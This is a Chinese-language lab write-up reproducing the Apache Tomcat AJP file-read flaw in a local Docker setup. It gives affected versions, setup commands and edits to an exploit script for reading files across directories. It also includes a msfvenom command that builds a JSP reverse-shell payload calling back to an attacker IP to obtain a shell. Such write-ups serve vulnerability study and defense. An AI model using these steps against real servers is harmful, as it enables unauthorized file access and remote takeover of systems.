1.影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
2.复现
2.1准备
攻击机:kali 192.168.227.130
centos7 192.168.227.132
docker
工具:
six
2.2环境搭建
选取一个版本受影响的Tomcat,这里用Docker hub上的9.0.30版本的Tomcat镜像来复现
下载镜像
docker pull tomcat:9.0.30-jdk8-adoptopenjdk-hotspot
运行容器
docker run --rm -p 8009:8009 -p 8080:8080 -d tomcat:9.0.30-jdk8-adoptopenjdk-hotspot
进入容器里的/usr/local/tomcat目录, 将webapps.dist下的内容复制到webapps目录下
sudo docker exec -it f1fb52142e4d(容器id) /bin/bash
cp -r webapps.dist/* webapps/
访问8080端口,查看Tomcat是否正常运行
3.跨目录读取
nmap扫描
发现开放8009和8080端口
可用用脚本读取ROOT目录下的文件,如果想读取webapps其他目录下的文件, 可以对脚本进行简单的修改
修改脚本里的“/asdf”就可以实现跨目录读取. 比如我们要读取test目录下的test.txt
_,data = t.perform_request('/test/asdf',attributes=[
在webapps下的创建一个test目录, 放上一个test.txt文件
然后用修改后的脚本读取这个文件即可
4.反弹shell
如果服务器同时存在文件上传漏洞, 则可以进一步取得shell. 我们先修改一下脚本, 在“/asdf”后面加上“.jsp”即可
_,data = t.perform_request('/asdf.jsp',attributes=[
生成Payload, 其中192.168.227.130是攻击者地址
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.227.130 LPORT=4444 > shell.txt
设置好payload,然后开始监听
将shell.txt放到webapps的ROOT目录下后,运行脚本
附(拷贝本地文件到docker容器)
1,确定我们的容器名,并获取容器长ID
扫描二维码关注公众号,回复:
11331203 查看本文章
docker inspect -f '{{.ID}}' frosty_feynman
2,拷贝本地文件到容器
docker cp 你的文件路径 容器长ID:docker容器路径
得到shell